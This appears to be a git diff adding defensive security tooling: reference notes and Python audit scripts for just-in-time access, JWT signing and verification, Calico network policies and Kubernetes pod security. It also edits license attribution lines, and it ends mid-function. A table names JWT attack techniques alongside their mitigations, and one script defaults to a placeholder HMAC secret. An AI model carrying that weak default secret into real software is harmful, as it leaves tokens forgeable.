a/skills/implementing-just-in-time-access-provisioning/references/api-reference.md b/skills/implementing-just-in-time-access-provisioning/references/api-reference.md new file mode 100644 index 00000000..8056b1f1 --- /dev/null +++ b/skills/implementing-just-in-time-access-provisioning/references/api-reference.md @@ -0,0 +1,55 @@ +# API Reference: Implementing Just-In-Time Access Provisioning + +## Azure AD PIM API (JIT for Azure) + +```python +import requests +headers = {"Authorization": "Bearer "} +# Activate eligible role +requests.post( + "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleRequests", + headers=headers, + json={"action": "selfActivate", "roleDefinitionId": ROLE_ID, + "directoryScopeId": "/", "justification": "Incident response", + "scheduleInfo": {"expiration": {"type": "afterDuration", "duration": "PT4H"}}}) +``` + +## JIT Risk-Based Approval + +| Risk Level | Approval | Max Duration | +|-----------|----------|-------------| +| Low | Auto-approve | 4 hours | +| Medium | Manager | 8 hours | +| High | Manager + Security | 4 hours | +| Critical | CISO + Manager + Security | 2 hours | + +## AWS IAM Access Analyzer + +```bash +# Find unused permissions for JIT conversion +aws accessanalyzer list-findings --analyzer-arn ARN --filter '{"status": {"eq": ["ACTIVE"]}}' +``` + +## CyberArk PAS REST API (JIT Privileged Access) + +```bash +# Request JIT access +curl -X POST "https://VAULT/PasswordVault/api/MyRequests" \ + -H "Authorization: $TOKEN" \ + -d '{"AccountId": "ACC_ID", "Reason": "Maintenance", "TicketingSystemName": "ServiceNow"}' +``` + +## Key Metrics + +| Metric | Target | +|--------|--------| +| Avg approval time | < 15 min | +| Auto-approval rate | 40-60% (low risk) | +| Standing privilege reduction | > 80% | +| Expired access auto-revoked | 100% | + +### References + +- Azure PIM: https://learn.microsoft.com/en-us/azure/active-directory/privileged-identity-management/ +- CyberArk JIT: https://docs.cyberark.com/ +- NIST 800-53 AC-6: Least Privilege diff --git a/skills/implementing-just-in-time-access-provisioning/scripts/agent.py b/skills/implementing-just-in-time-access-provisioning/scripts/agent.py new file mode 100644 index 00000000..0e93575c --- /dev/null +++ b/skills/implementing-just-in-time-access-provisioning/scripts/agent.py @@ -0,0 +1,221 @@ +#!/usr/bin/env python3 +"""Agent for implementing and auditing Just-In-Time access provisioning.""" + +import json +import argparse +from datetime import datetime, timedelta +from collections import Counter + + +def audit_jit_requests(requests_path): + """Audit JIT access requests for compliance and anomalies.""" + with open(requests_path) as f: + data = json.load(f) + requests_list = data if isinstance(data, list) else data.get("requests", []) + findings = [] + by_status = Counter() + by_resource = Counter() + + for req in requests_list: + status = req.get("status", "unknown").lower() + by_status[status] += 1 + by_resource[req.get("resource", "unknown")] += 1 + + duration_hours = req.get("duration_hours", req.get("duration", 0)) + if duration_hours > 8: + findings.append({ + "request_id": req.get("id", ""), + "issue": f"Long access duration: {duration_hours}h", + "severity": "MEDIUM", + "user": req.get("requestor", req.get("user", "")), + }) + if duration_hours > 24: + findings[-1]["severity"] = "HIGH" + + if status == "approved" and not req.get("approver"): + findings.append({ + "request_id": req.get("id", ""), + "issue": "Auto-approved without approver record", + "severity": "HIGH", + }) + + granted = req.get("granted_at", "") + expired = req.get("expired_at", req.get("revoked_at", "")) + if granted and not expired and status == "active": + granted_dt = datetime.fromisoformat(granted.replace("Z", "")) + if (datetime.utcnow() - granted_dt).total_seconds() > duration_hours * 3600: + findings.append({ + "request_id": req.get("id", ""), + "issue": "Access not revoked after expiration", + "severity": "CRITICAL", + "user": req.get("requestor", ""), + }) + + return { + "total_requests": len(requests_list), + "by_status": dict(by_status), + "by_resource": dict(by_resource.most_common(10)), + "findings": findings, + "anomaly_count": len(findings), + } + + +def audit_standing_privileges(privileges_path): + """Identify standing privileges that should be converted to JIT.""" + with open(privileges_path) as f: + data = json.load(f) + privs = data if isinstance(data, list) else data.get("privileges", []) + candidates = [] + + for priv in privs: + role = priv.get("role", priv.get("permission", "")).lower() + usage = priv.get("last_used", priv.get("last_access", "")) + is_privileged = any(k in role for k in [ + "admin", "root", "owner", "superuser", "dba", "operator"]) + + days_unused = 0 + if usage: + try: + usage_dt = datetime.fromisoformat(usage.replace("Z", "")) + days_unused = (datetime.utcnow() - usage_dt).days + except ValueError: + pass + + if is_privileged and days_unused > 30: + candidates.append({ + "user": priv.get("user", priv.get("identity", "")), + "role": priv.get("role", ""), + "resource": priv.get("resource", priv.get("target", "")), + "days_unused": days_unused, + "severity": "CRITICAL" if days_unused > 90 else "HIGH", + "recommendation": "Convert to JIT access", + }) + elif is_privileged: + candidates.append({ + "user": priv.get("user", ""), + "role": priv.get("role", ""), + "days_unused": days_unused, + "severity": "MEDIUM", + "recommendation": "Evaluate for JIT conversion", + }) + + return { + "total_privileges": len(privs), + "jit_candidates": len(candidates), + "critical_standing": sum(1 for c in candidates if c["severity"] == "CRITICAL"), + "details": candidates[:30], + } + + +def calculate_jit_metrics(requests_path): + """Calculate JIT program operational metrics.""" + with open(requests_path) as f: + data = json.load(f) + requests_list = data if isinstance(data, list) else data.get("requests", []) + + approval_times = [] + durations = [] + auto_approved = 0 + total = len(requests_list) + + for req in requests_list: + if req.get("auto_approved", False): + auto_approved += 1 + + requested = req.get("requested_at", "") + approved = req.get("approved_at", "") + if requested and approved: + try: + r_dt = datetime.fromisoformat(requested.replace("Z", "")) + a_dt = datetime.fromisoformat(approved.replace("Z", "")) + approval_times.append((a_dt - r_dt).total_seconds() / 60) + except ValueError: + pass + + duration = req.get("duration_hours", 0) + if duration: + durations.append(duration) + + return { + "total_requests": total, + "auto_approved_rate": round(auto_approved / total * 100, 1) if total else 0, + "avg_approval_time_min": round(sum(approval_times) / len(approval_times), 1) if approval_times else 0, + "avg_duration_hours": round(sum(durations) / len(durations), 1) if durations else 0, + "max_duration_hours": max(durations) if durations else 0, + "p95_approval_time_min": sorted(approval_times)[int(len(approval_times) * 0.95)] if approval_times else 0, + } + + +def generate_jit_policy(): + """Generate JIT access provisioning policy.""" + return { + "risk_levels": { + "low": { + "approval": "auto-approve", + "max_duration": "4h", + "examples": ["Read-only database access", "Log viewer"], + }, + "medium": { + "approval": "manager-approve", + "max_duration": "8h", + "examples": ["Application admin", "Deploy permissions"], + }, + "high": { + "approval": "manager + security team", + "max_duration": "4h", + "examples": ["Production database write", "IAM admin"], + }, + "critical": { + "approval": "CISO + manager + security team", + "max_duration": "2h", + "examples": ["Domain admin", "Root access", "Key management"], + }, + }, + "controls": { + "session_recording": True, + "break_glass_procedure": True, + "automatic_revocation": True, + "audit_logging": True, + "notification_on_grant": True, + }, + } + + +def main(): + parser = argparse.ArgumentParser(description="JIT Access Provisioning Agent") + parser.add_argument("--requests", help="JIT requests log JSON") + parser.add_argument("--privileges", help="Standing privileges JSON") + parser.add_argument("--action", choices=["audit", "standing", "metrics", "policy", "full"], + default="full") + parser.add_argument("--output", default="jit_access_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "results": {}} + + if args.action in ("audit", "full") and args.requests: + result = audit_jit_requests(args.requests) + report["results"]["audit"] = result + print(f"[+] JIT audit: {result['total_requests']} requests, {result['anomaly_count']} issues") + + if args.action in ("standing", "full") and args.privileges: + result = audit_standing_privileges(args.privileges) + report["results"]["standing"] = result + print(f"[+] Standing privs: {result['jit_candidates']} JIT candidates") + + if args.action in ("metrics", "full") and args.requests: + metrics = calculate_jit_metrics(args.requests) + report["results"]["metrics"] = metrics + print(f"[+] Avg approval: {metrics['avg_approval_time_min']}min") + + if args.action in ("policy", "full"): + policy = generate_jit_policy() + report["results"]["policy"] = policy + print("[+] JIT policy generated") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-jwt-signing-and-verification/LICENSE b/skills/implementing-jwt-signing-and-verification/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-jwt-signing-and-verification/LICENSE +++ b/skills/implementing-jwt-signing-and-verification/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-jwt-signing-and-verification/references/api-reference.md b/skills/implementing-jwt-signing-and-verification/references/api-reference.md new file mode 100644 index 00000000..ce309d05 --- /dev/null +++ b/skills/implementing-jwt-signing-and-verification/references/api-reference.md @@ -0,0 +1,52 @@ +# API Reference: Implementing JWT Signing and Verification + +## PyJWT Library + +```python +import jwt +# Sign with HS256 +token = jwt.encode({"sub": "user1", "exp": time.time() + 3600}, "secret", algorithm="HS256") +# Verify +payload = jwt.decode(token, "secret", algorithms=["HS256"]) +# Sign with RS256 +token = jwt.encode(payload, private_key, algorithm="RS256") +payload = jwt.decode(token, public_key, algorithms=["RS256"]) +``` + +## JWT Algorithms + +| Algorithm | Type | Key Size | Use Case | +|-----------|------|----------|----------| +| HS256 | HMAC | 256-bit secret | Internal services | +| RS256 | RSA | 2048+ bit | Public verification | +| ES256 | ECDSA | P-256 curve | Compact tokens | +| EdDSA | Ed25519 | 256-bit | High performance | +| none | - | - | NEVER use in production | + +## Standard JWT Claims (RFC 7519) + +| Claim | Type | Description | +|-------|------|-------------| +| `iss` | String | Issuer | +| `sub` | String | Subject | +| `aud` | String/Array | Audience | +| `exp` | NumericDate | Expiration time | +| `nbf` | NumericDate | Not before | +| `iat` | NumericDate | Issued at | +| `jti` | String | JWT ID (unique) | + +## Common JWT Attacks + +| Attack | Description | Mitigation | +|--------|-------------|-----------| +| Algorithm confusion | Switch RS256 to HS256 | Explicit algorithm allowlist | +| none algorithm | Remove signature | Reject alg=none | +| JKU/JWK injection | Inject attacker key | Ignore JKU/JWK headers | +| Token replay | Reuse valid token | Use jti + short exp | + +### References + +- RFC 7519 (JWT): https://datatracker.ietf.org/doc/html/rfc7519 +- PyJWT: https://pyjwt.readthedocs.io/ +- jose (JavaScript): https://github.com/panva/jose +- JWT.io Debugger: https://jwt.io/ diff --git a/skills/implementing-jwt-signing-and-verification/scripts/agent.py b/skills/implementing-jwt-signing-and-verification/scripts/agent.py new file mode 100644 index 00000000..dc33eae2 --- /dev/null +++ b/skills/implementing-jwt-signing-and-verification/scripts/agent.py @@ -0,0 +1,186 @@ +#!/usr/bin/env python3 +"""Agent for JWT signing, verification, and security auditing.""" + +import json +import argparse +import base64 +import hmac +import hashlib +import time +from datetime import datetime + +try: + from cryptography.hazmat.primitives.asymmetric import rsa, ec, ed25519 + from cryptography.hazmat.primitives import hashes, serialization + from cryptography.hazmat.primitives.asymmetric import padding, utils + HAS_CRYPTO = True +except ImportError: + HAS_CRYPTO = False + + +def b64url_encode(data): + """Base64url encode without padding.""" + if isinstance(data, str): + data = data.encode() + return base64.urlsafe_b64encode(data).rstrip(b"=").decode() + + +def b64url_decode(data): + """Base64url decode with padding restoration.""" + padding_needed = 4 - len(data) % 4 + if padding_needed != 4: + data += "=" * padding_needed + return base64.urlsafe_b64decode(data) + + +def create_jwt_hs256(payload, secret): + """Create a JWT signed with HMAC-SHA256.""" + header = {"alg": "HS256", "typ": "JWT"} + header_b64 = b64url_encode(json.dumps(header)) + payload_b64 = b64url_encode(json.dumps(payload)) + signing_input = f"{header_b64}.{payload_b64}" + signature = hmac.new(secret.encode(), signing_input.encode(), hashlib.sha256).digest() + sig_b64 = b64url_encode(signature) + return f"{signing_input}.{sig_b64}" + + +def verify_jwt_hs256(token, secret): + """Verify an HS256 JWT and return claims.""" + parts = token.split(".") + if len(parts) != 3: + return {"valid": False, "error": "Invalid token format"} + header_b64, payload_b64, sig_b64 = parts + signing_input = f"{header_b64}.{payload_b64}" + expected_sig = hmac.new(secret.encode(), signing_input.encode(), hashlib.sha256).digest() + actual_sig = b64url_decode(sig_b64) + if not hmac.compare_digest(expected_sig, actual_sig): + return {"valid": False, "error": "Signature verification failed"} + header = json.loads(b64url_decode(header_b64)) + payload = json.loads(b64url_decode(payload_b64)) + now = int(time.time()) + if payload.get("exp") and payload["exp"] < now: + return {"valid": False, "error": "Token expired", "claims": payload} + if payload.get("nbf") and payload["nbf"] > now: + return {"valid": False, "error": "Token not yet valid", "claims": payload} + return {"valid": True, "header": header, "claims": payload} + + +def decode_jwt_unsafe(token): + """Decode a JWT without verification (for inspection only).""" + parts = token.split(".") + if len(parts) != 3: + return {"error": "Invalid token format"} + header = json.loads(b64url_decode(parts[0])) + payload = json.loads(b64url_decode(parts[1])) + return {"header": header, "payload": payload, "signature_present": len(parts[2]) > 0} + + +def audit_jwt_security(token): + """Audit a JWT for common security vulnerabilities.""" + findings = [] + decoded = decode_jwt_unsafe(token) + if "error" in decoded: + return [{"issue": decoded["error"], "severity": "HIGH"}] + header = decoded["header"] + payload = decoded["payload"] + + alg = header.get("alg", "") + if alg == "none": + findings.append({"issue": "Algorithm 'none' - unsigned token", + "severity": "CRITICAL"}) + if alg == "HS256" and header.get("jwk"): + findings.append({"issue": "JWK in header with symmetric algorithm - key injection risk", + "severity": "CRITICAL"}) + if alg in ("HS256", "HS384", "HS512"): + findings.append({"issue": f"Symmetric algorithm {alg} - shared secret risk", + "severity": "MEDIUM", + "recommendation": "Use RS256 or ES256 for multi-party verification"}) + + if not payload.get("exp"): + findings.append({"issue": "No expiration claim (exp)", "severity": "HIGH"}) + else: + exp = payload["exp"] + now = int(time.time()) + if exp - now > 86400: + findings.append({"issue": f"Long expiration: {(exp - now) / 3600:.0f} hours", + "severity": "MEDIUM"}) + if not payload.get("iss"): + findings.append({"issue": "No issuer claim (iss)", "severity": "MEDIUM"}) + if not payload.get("aud"): + findings.append({"issue": "No audience claim (aud)", "severity": "MEDIUM"}) + if not payload.get("iat"): + findings.append({"issue": "No issued-at claim (iat)", "severity": "LOW"}) + if not payload.get("jti"): + findings.append({"issue": "No JWT ID (jti) - replay attack risk", "severity": "MEDIUM"}) + + sensitive_keys = ["password", "secret", "ssn", "credit_card", "api_key"] + for key in payload: + if any(s in key.lower() for s in sensitive_keys): + findings.append({"issue": f"Sensitive data in claim: {key}", + "severity": "HIGH"}) + + return findings + + +def generate_rsa_keypair(): + """Generate RSA key pair for RS256 JWT signing.""" + if not HAS_CRYPTO: + return {"error": "cryptography library not available"} + private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048) + priv_pem = private_key.private_bytes( + serialization.Encoding.PEM, serialization.PrivateFormat.PKCS8, + serialization.NoEncryption()).decode() + pub_pem = private_key.public_key().public_bytes( + serialization.Encoding.PEM, serialization.PublicFormat.SubjectPublicKeyInfo).decode() + return {"private_key": priv_pem, "public_key": pub_pem, "algorithm": "RS256"} + + +def main(): + parser = argparse.ArgumentParser(description="JWT Security Agent") + parser.add_argument("--create", help="JSON payload to sign as JWT") + parser.add_argument("--verify", help="JWT token to verify") + parser.add_argument("--audit", help="JWT token to audit for vulnerabilities") + parser.add_argument("--decode", help="JWT token to decode (no verification)") + parser.add_argument("--secret", default="change-me-secret", help="HMAC secret") + parser.add_argument("--gen-keys", action="store_true", help="Generate RSA key pair") + parser.add_argument("--output", default="jwt_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "results": {}} + + if args.create: + payload = json.loads(args.create) + payload.setdefault("iat", int(time.time())) + payload.setdefault("exp", int(time.time()) + 3600) + token = create_jwt_hs256(payload, args.secret) + report["results"]["token"] = token + print(f"[+] JWT: {token[:50]}...") + + if args.verify: + result = verify_jwt_hs256(args.verify, args.secret) + report["results"]["verification"] = result + print(f"[+] Valid: {result['valid']}") + + if args.audit: + findings = audit_jwt_security(args.audit) + report["results"]["audit"] = findings + critical = sum(1 for f in findings if f.get("severity") == "CRITICAL") + print(f"[+] Audit: {len(findings)} findings, {critical} critical") + + if args.decode: + decoded = decode_jwt_unsafe(args.decode) + report["results"]["decoded"] = decoded + print(f"[+] Algorithm: {decoded.get('header', {}).get('alg', 'unknown')}") + + if args.gen_keys: + keys = generate_rsa_keypair() + report["results"]["keys"] = keys + print("[+] RSA-2048 key pair generated") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-kubernetes-network-policy-with-calico/LICENSE b/skills/implementing-kubernetes-network-policy-with-calico/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-kubernetes-network-policy-with-calico/LICENSE +++ b/skills/implementing-kubernetes-network-policy-with-calico/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-kubernetes-network-policy-with-calico/references/api-reference.md b/skills/implementing-kubernetes-network-policy-with-calico/references/api-reference.md new file mode 100644 index 00000000..16eb43ba --- /dev/null +++ b/skills/implementing-kubernetes-network-policy-with-calico/references/api-reference.md @@ -0,0 +1,64 @@ +# API Reference: Implementing Kubernetes Network Policy with Calico + +## Kubernetes NetworkPolicy + +```yaml +apiVersion: networking.k8s.io/v1 +kind: NetworkPolicy +metadata: + name: default-deny-all + namespace: production +spec: + podSelector: {} + policyTypes: [Ingress, Egress] +``` + +## Calico GlobalNetworkPolicy + +```yaml +apiVersion: projectcalico.org/v3 +kind: GlobalNetworkPolicy +metadata: + name: deny-external +spec: + order: 100 + selector: app == "backend" + types: [Ingress] + ingress: + - action: Deny + source: + nets: ["0.0.0.0/0"] +``` + +## calicoctl CLI + +```bash +# Apply policy +calicoctl apply -f policy.yaml +# Get policies +calicoctl get globalnetworkpolicy -o yaml +# Get host endpoints +calicoctl get hostendpoint +``` + +## Policy Types + +| Type | Scope | Ordering | +|------|-------|----------| +| NetworkPolicy | Namespace | Additive (OR) | +| GlobalNetworkPolicy | Cluster-wide | Ordered by `order` field | + +## Common Policy Patterns + +| Pattern | Description | +|---------|-------------| +| Default deny | Empty podSelector, no rules | +| Allow DNS | Egress to kube-system UDP/TCP 53 | +| Allow ingress from namespace | namespaceSelector match | +| Allow to external CIDR | ipBlock in egress | + +### References + +- Calico Docs: https://docs.tigera.io/calico/ +- K8s NetworkPolicy: https://kubernetes.io/docs/concepts/services-networking/network-policies/ +- Calico Policy Tutorial: https://docs.tigera.io/calico/latest/network-policy/ diff --git a/skills/implementing-kubernetes-network-policy-with-calico/scripts/agent.py b/skills/implementing-kubernetes-network-policy-with-calico/scripts/agent.py new file mode 100644 index 00000000..b2421a3e --- /dev/null +++ b/skills/implementing-kubernetes-network-policy-with-calico/scripts/agent.py @@ -0,0 +1,212 @@ +#!/usr/bin/env python3 +"""Agent for auditing and generating Calico Kubernetes network policies.""" + +import json +import argparse +import subprocess +import yaml +from datetime import datetime +from collections import Counter + + +def kubectl_get(resource, namespace=None, label_selector=None): + """Get Kubernetes resources via kubectl.""" + cmd = ["kubectl", "get", resource, "-o", "json"] + if namespace: + cmd.extend(["-n", namespace]) + else: + cmd.append("--all-namespaces") + if label_selector: + cmd.extend(["-l", label_selector]) + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + if result.returncode != 0: + return {"error": result.stderr.strip()} + return json.loads(result.stdout) if result.stdout.strip() else {} + + +def list_network_policies(): + """List all NetworkPolicy and Calico GlobalNetworkPolicy resources.""" + k8s_np = kubectl_get("networkpolicy") + calico_gnp = kubectl_get("globalnetworkpolicy") + return { + "k8s_network_policies": k8s_np.get("items", []) if isinstance(k8s_np, dict) else [], + "calico_global_policies": calico_gnp.get("items", []) if isinstance(calico_gnp, dict) else [], + } + + +def audit_network_policies(policies_path): + """Audit network policies for security gaps.""" + with open(policies_path) as f: + data = json.load(f) + policies = data if isinstance(data, list) else data.get("items", data.get("policies", [])) + findings = [] + namespaces_covered = set() + + for policy in policies: + metadata = policy.get("metadata", {}) + spec = policy.get("spec", {}) + ns = metadata.get("namespace", "default") + namespaces_covered.add(ns) + + policy_types = spec.get("policyTypes", []) + if "Ingress" not in policy_types and "Egress" not in policy_types: + findings.append({ + "policy": metadata.get("name", ""), + "namespace": ns, + "issue": "No policyTypes defined (defaults to ingress-only)", + "severity": "MEDIUM", + }) + + if "Egress" not in policy_types: + findings.append({ + "policy": metadata.get("name", ""), + "namespace": ns, + "issue": "No egress policy - all outbound traffic allowed", + "severity": "HIGH", + }) + + ingress_rules = spec.get("ingress", []) + for rule in ingress_rules: + if not rule.get("from"): + findings.append({ + "policy": metadata.get("name", ""), + "issue": "Ingress rule allows from all sources", + "severity": "HIGH", + }) + + egress_rules = spec.get("egress", []) + for rule in egress_rules: + if not rule.get("to"): + findings.append({ + "policy": metadata.get("name", ""), + "issue": "Egress rule allows to all destinations", + "severity": "MEDIUM", + }) + + return {"findings": findings, "namespaces_covered": list(namespaces_covered), + "total_policies": len(policies)} + + +def generate_default_deny(namespace): + """Generate a default deny-all NetworkPolicy for a namespace.""" + return { + "apiVersion": "networking.k8s.io/v1", + "kind": "NetworkPolicy", + "metadata": {"name": "default-deny-all", "namespace": namespace}, + "spec": { + "podSelector": {}, + "policyTypes": ["Ingress", "Egress"], + }, + } + + +def generate_allow_dns_egress(namespace): + """Generate a policy allowing DNS egress to kube-dns.""" + return { + "apiVersion": "networking.k8s.io/v1", + "kind": "NetworkPolicy", + "metadata": {"name": "allow-dns-egress", "namespace": namespace}, + "spec": { + "podSelector": {}, + "policyTypes": ["Egress"], + "egress": [{ + "to": [{"namespaceSelector": {"matchLabels": { + "kubernetes.io/metadata.name": "kube-system"}}}], + "ports": [{"protocol": "UDP", "port": 53}, + {"protocol": "TCP", "port": 53}], + }], + }, + } + + +def generate_app_policy(namespace, app_label, allowed_ingress_labels=None, + allowed_egress_ports=None): + """Generate a Calico-style network policy for an application.""" + policy = { + "apiVersion": "networking.k8s.io/v1", + "kind": "NetworkPolicy", + "metadata": {"name": f"allow-{app_label}", "namespace": namespace}, + "spec": { + "podSelector": {"matchLabels": {"app": app_label}}, + "policyTypes": ["Ingress", "Egress"], + "ingress": [], + "egress": [], + }, + } + if allowed_ingress_labels: + for label in allowed_ingress_labels: + policy["spec"]["ingress"].append({ + "from": [{"podSelector": {"matchLabels": {"app": label}}}], + }) + if allowed_egress_ports: + for port_info in allowed_egress_ports: + policy["spec"]["egress"].append({ + "ports": [{"protocol": port_info.get("protocol", "TCP"), + "port": port_info["port"]}], + }) + return policy + + +def check_unprotected_namespaces(): + """Find namespaces without any network policies.""" + namespaces = kubectl_get("namespaces") + policies = kubectl_get("networkpolicy") + if isinstance(namespaces, dict) and "error" not in namespaces: + all_ns = {item["metadata"]["name"] for item in namespaces.get("items", [])} + else: + return {"error": "Cannot list namespaces"} + + protected_ns = set() + if isinstance(policies, dict) and "error" not in policies: + for item in policies.get("items", []): + protected_ns.add(item.get("metadata", {}).get("namespace", "default")) + + system_ns = {"kube-system", "kube-public", "kube-node-lease"} + unprotected = all_ns - protected_ns - system_ns + return { + "total_namespaces": len(all_ns), + "protected": len(protected_ns), + "unprotected": list(unprotected), + "severity": "HIGH" if unprotected else "INFO", + } + + +def main(): + parser = argparse.ArgumentParser(description="Calico Network Policy Agent") + parser.add_argument("--audit", help="Network policies JSON to audit") + parser.add_argument("--namespace", help="Namespace for policy generation") + parser.add_argument("--app", help="App label for policy generation") + parser.add_argument("--action", choices=["audit", "generate", "check", "full"], + default="full") + parser.add_argument("--output", default="calico_netpol_report.json") + args = parser.parse_args() + + report = {"generated_at": datetime.utcnow().isoformat(), "results": {}} + + if args.action in ("audit", "full") and args.audit: + result = audit_network_policies(args.audit) + report["results"]["audit"] = result + print(f"[+] Audit: {len(result['findings'])} findings across {result['total_policies']} policies") + + if args.action in ("generate", "full") and args.namespace: + policies = [ + generate_default_deny(args.namespace), + generate_allow_dns_egress(args.namespace), + ] + if args.app: + policies.append(generate_app_policy(args.namespace, args.app)) + report["results"]["generated"] = policies + print(f"[+] Generated {len(policies)} policies for {args.namespace}") + + if args.action in ("check", "full"): + result = check_unprotected_namespaces() + report["results"]["unprotected"] = result + print(f"[+] Unprotected namespaces: {result.get('unprotected', [])}") + + with open(args.output, "w") as f: + json.dump(report, f, indent=2, default=str) + print(f"[+] Report saved to {args.output}") + + +if __name__ == "__main__": + main() diff --git a/skills/implementing-kubernetes-pod-security-standards/LICENSE b/skills/implementing-kubernetes-pod-security-standards/LICENSE index 27f5a0fe..09d37ad6 100644 --- a/skills/implementing-kubernetes-pod-security-standards/LICENSE +++ b/skills/implementing-kubernetes-pod-security-standards/LICENSE @@ -1,6 +1,6 @@ MIT License -Copyright (c) 2025 Anthropic Agent Skills Contributors +Copyright (c) 2025 Mahipal Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal diff --git a/skills/implementing-kubernetes-pod-security-standards/references/api-reference.md b/skills/implementing-kubernetes-pod-security-standards/references/api-reference.md new file mode 100644 index 00000000..603474e6 --- /dev/null +++ b/skills/implementing-kubernetes-pod-security-standards/references/api-reference.md @@ -0,0 +1,52 @@ +# API Reference: Implementing Kubernetes Pod Security Standards + +## PSA Namespace Labels + +```bash +# Apply restricted enforcement +kubectl label namespace production \ + pod-security.kubernetes.io/enforce=restricted \ + pod-security.kubernetes.io/audit=restricted \ + pod-security.kubernetes.io/warn=restricted --overwrite +``` + +## Pod Security Standard Levels + +| Level | Description | Blocks | +|-------|-------------|--------| +| Privileged | Unrestricted | Nothing | +| Baseline | Minimally restrictive | hostNetwork, privileged, hostPID/IPC | +| Restricted | Heavily restricted | + runAsNonRoot, drop ALL caps, seccomp | + +## PSA Modes + +| Mode | Behavior | +|------|----------| +| enforce | Reject violating pods | +| audit | Log violations (allow pod) | +| warn | Warn user (allow pod) | + +## Baseline Violations + +| Field | Forbidden Value | +|-------|----------------| +| `spec.hostNetwork` | true | +| `spec.hostPID` | true | +| `spec.hostIPC` | true | +| `containers[*].securityContext.privileged` | true | +| `containers[*].securityContext.capabilities.add` | Non-default | + +## Restricted Violations (adds to Baseline) + +| Field | Required | +|-------|----------| +| `runAsNonRoot` | true | +| `allowPrivilegeEscalation` | false | +| `capabilities.drop` | ["ALL"] | +| `seccompProfile.type` | RuntimeDefault or Localhost | + +### References + +- K8s PSS: https://kubernetes.io/docs/concepts/security/pod-security-standards/ +- PSA: https://kubernetes.io/docs/concepts/security/pod-security-admission/ +- Migrate from PSP: https://kubernetes.io/docs/tasks/configure-pod-container/migrate-from-psp/ diff --git a/skills/implementing-kubernetes-pod-security-standards/scripts/agent.py b/skills/implementing-kubernetes-pod-security-standards/scripts/agent.py new file mode 100644 index 00000000..927aa20d --- /dev/null +++ b/skills/implementing-kubernetes-pod-security-standards/scripts/agent.py @@ -0,0 +1,185 @@ +#!/usr/bin/env python3 +"""Agent for auditing Kubernetes Pod Security Standards enforcement.""" + +import json +import argparse +import subprocess +from datetime import datetime +from collections import Counter + + +PSS_LEVELS = { + "privileged": {"order": 0, "description": "Unrestricted, for system workloads"}, + "baseline": {"order": 1, "description": "Minimally restrictive, prevents known escalations"}, + "restricted": {"order": 2, "description": "Heavily restricted, hardened best practices"}, +} + +BASELINE_VIOLATIONS = [ + "hostNetwork", "hostPID", "hostIPC", "hostPorts", + "privileged", "allowPrivilegeEscalation", + "capabilities.add (non-default)", "seccomp (unconfined)", +] + +RESTRICTED_VIOLATIONS = BASELINE_VIOLATIONS + [ + "runAsNonRoot not set", "runAsUser=0", + "seccompProfile not RuntimeDefault/Localhost", + "capabilities.drop not ALL", "readOnlyRootFilesystem not set", +] + + +def kubectl_json(args_list): + """Run kubectl and return JSON.""" + cmd = ["kubectl"] + args_list + ["-o", "json"] + result = subprocess.run(cmd, capture_output=True, text=True, timeout=60) + if result.returncode != 0: + return {"error": result.stderr.strip()} + return json.loads(result.stdout) if result.stdout.strip() else {} + + +def audit_namespace_labels(): + """Audit PSA labels on all namespaces.""" + ns_data = kubectl_json(["get", "namespaces"]) + if "error" in ns_data: + return ns_data + results = [] + for ns in ns_data.get("items", []): + name = ns["metadata"]["name"] + labels = ns["metadata"].get("labels", {}) + enforce = labels.get("pod-security.kubernetes.io/enforce", "") + audit = labels.get("pod-security.kubernetes.io/audit", "") + warn = labels.get("pod-security.kubernetes.io/warn", "") + system = name in ("kube-system", "kube-public", "kube-node-lease") + results.append({ + "namespace": name, "system": system, + "enforce": enforce, "audit": audit, "warn": warn, + "protected": bool(enforce), + "severity": "INFO" if enforce or system else "HIGH", + }) + return results + + +def audit_pod_security(pods_path): + """Audit pods against Pod Security Standards.""" + with open(pods_path) as f: + data = json.load(f) + pods = data if isinstance(data, list) else data.get("items", []) + findings = [] + + for pod in pods: + metadata = pod.get("metadata", {}) + spec = pod.get("spec", {}) + pod_name = metadata.get("name", "") + ns = metadata.get("namespace", "default") + + if spec.get("hostNetwork"): + findings.append({"pod": pod_name, "ns": ns, "violation": "hostNetwork", + "level": "baseline", "severity": "HIGH"}) + if spec.get("hostPID"): + findings.append({"pod": pod_name, "ns": ns, "violation": "hostPID", + "level": "baseline", "severity": "HIGH"}) + + for container in spec.get("containers", []) + spec.get("initContainers", []): + sc = container.get("securityContext", {}) + c_name = container.get("name", "") + + if sc.get("privileged"): + findings.append({"pod": pod_name, "container": c_name, "ns": ns, + "violation": "privileged", "level": "baseline", + "severity": "CRITICAL"}) + + if sc.get("allowPrivilegeEscalation", True): + findings.append({"pod": pod_name, "container": c_name, "ns": ns, + "violation": "allowPrivilegeEscalation", + "level": "restricted", "severity": "MEDIUM"}) + + if not sc.get("runAsNonRoot"): + findings.append({"pod": pod_name, "container": c_name, "ns": ns, + "violation": "runAsNonRoot not set", + "level": "restricted", "severity": "MEDIUM"}) + + caps = sc.get("capabilities", {}) + added = caps.get("add", []) + if added and any(c not in ("NET_BIND_SERVICE",) for c in added): + findings.append({"pod": pod_name, "container": c_name, "ns": ns, + "violation": f"capabilities.add: {added}", + "level": "baseline", 